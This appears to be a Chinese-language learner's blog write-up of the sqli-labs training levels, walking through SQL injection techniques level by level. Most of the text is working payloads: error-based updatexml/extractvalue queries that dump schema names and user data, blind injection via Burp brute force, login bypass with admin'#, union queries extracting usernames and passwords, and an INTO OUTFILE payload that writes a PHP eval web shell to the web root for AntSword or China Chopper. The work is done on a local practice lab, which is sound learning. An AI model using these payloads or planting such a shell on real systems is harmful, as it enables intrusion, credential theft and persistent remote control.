Web题中SQL注入是最重要的类型之一。之前只是简单的了解, SQL注入对于我这样的新手来说可能会有一点难度,当时学的时候学习了sqli-labs的前四关,现在重新捡起,继续打。
目前我了解到两种方法。
肯定是有注入的,所以判断是否有注入就省去了。判断闭合符号是单引号
?id=1' and (updatexml(1,concat(0x7e,(select user()),0x7e),1))--+
?id=1' and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1))--+
?id=1' and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1))--+
?id=1%27%20and%20(updatexml(1,concat(0x7e,(select%20group_concat(username)%20from%20users),0x7e),1))--+
?id=1' and (updatexml(1,concat(0x7e,mid((select group_concat(username) from users),32),0x7e),1))--+
还有一个语句可以实现,看到了就顺便总结下来:
爆数据库名:
?id=1' and extractvalue(1,concat(0x23,database(),0x23))--+
?id=1' and extractvalue(1,concat(0x23,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x23))--+
?id=1' and extractvalue(1,concat(0x23,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),0x23))--+
?id=1' and extractvalue(1,concat(0x23,(select username from users limit 1,1),0x23))--+
判断数据库长度
?id=1' and length(database())>0--+
?id=1' and length(database())=8--+
?id=1' and ascii(substr(database(),1,1)=83)--+
这样判断太慢,直接burp爆破就行,之前尝试的burp爆破是一个post类型,这次是get类型,所以就再总结一下
?id=1' and ascii(substr((select database() limit 1,1),1,1))=100--+
设置好开始爆破
然后放到一个转ascii码的小工具里转换
可以爆出数据库名。
其他的只需改动语句,爆破方式一样。只是比较慢。
脚本暂时还不会写,先放着,学会了再补充。
双引号闭合,其他的与第五关相同,照抄OK。
对于我来说时一种新的注入方式,
判断闭合符号。
?id=1'))
闭合符号是'))
,试着上传一句话木马,
路径不知道,先拿个简单关查看下路径(做题的时候要靠自己找,刚了解到,我也没见过这类题,所以见到再说)
payload
?id=-1 union select 1,@@basedir,@@datadir --+
?id=1')) union select 1,2,'<?php @eval($_POST["lxj"]);?>' into outfile "D:\\phpStudy\\PHPTutorial\\WWW\\sqli-labs-master\\Less-7\\lxj.php"--+
回显报错了,看师傅们的博客是:虽然报错了,但是在本地文件是可以看到上传成功的,可是为什么我的就没有。
奇怪,啥都没有。再百度看了好几篇博客,终于找到了解决办法,是我本地的mysql没有写入权限。所以没有办法上传成功,解决办法也是尝试过好几遍才对了。
解决办法如下:
打开mysql目录找到my.in
这个文件,
打开这个文件:添加secure-file-priv =""
保存
一般出现没有写入权限的问题的应该就是缺少了。直接加一个就行。(反正我的是没有这句话。)只针对这一种情况,其他的不好说。
然后再重新写入php文件,但是再看还是没有任何东西,然后又查百度,找了三四遍博客终于让我找到了我错在哪里了。原来就是一个低级错误,保存之后记得重新启动mysql。再次上传php就行。
这次就上传成功了。
运行一下看看,
可以,那就用菜刀或者蚁剑连接。
http://127.0.0.1/sqli-labs-master/Less-13/
添加成功,连上了。
查看一下
ok木得问题,过关。
这道题是布尔盲注
看题目单引号闭合,试一下
但是这道题可以使用第七关的方法上传一个木马,用蚁剑或菜刀连接。步骤略,看结果
看了可以,那就不管它了。
在回头说盲注,盲注是布尔盲注,可以用手注,也可以用burp爆破。跟第五关差不多,不再重复
看题是基于单引号闭合的时间盲注
反正也没事试一遍,发现确实是不管payload是什么,都会回显You are in ......
想起来之前第九关和第十关差不多,第十关以前总结过,再回头看一下。就不再重新写一遍了。
只是第十关是双引号闭合,其他的一样,没什么差别。
额咳咳,出于好奇,我又闲着试试,第九关能不能传入木马,结果还真成功了
啊哈,意外之喜。第十关应该也行。
只标题。就试试可不可以传入木马就行了,顺便连接一下。
蚁剑连接
成功了,开心哈。
从这一关往后是post类型的注入。之前只了解过万能密码
随便输入账户密码都输入admin,登录成功。
然后再输入账户lalala
密码1234
,发现有报错,
这就能证明本关的确是报错注入。
万能密码
username:admin'#
,密码随意。
爆数据库
admin' and extractvalue(1,concat(0x7e,database(),0x7e))#
admin' and extractvalue(1,concat(0x7e,(select database()),0x7e))#
两句均可,就全部记了下来,网上大佬的博客很多,不同的姿势也好几个,这里暂时总结几种我学会的吧。
爆数据表名
admin' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e))#
limit决定爆哪个表
第三个表爆出users
,可进行下一步,爆列名
admin' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),0x7e))#
admin' and extractvalue(1,concat(0x7e,(select username from users limit 1,1),0x7e))#
uname=admin' and 1=1%23 &passwd=1234&submit=Submit
uname=0' union select 1,database()%23 &passwd=admin&submit=Submit
uname=0' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'%23 &passwd=admin&submit=Submit
uname=0' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'%23 &passwd=admin&submit=Submit
uname=0' union select group_concat(username),group_concat(password) from users%23 &passwd=admin&submit=Submit
闭合方式不同,此关是双引号闭合。步骤与十一关相同。
先学习到这里,沉淀一下,消化消化新知识。继续加油!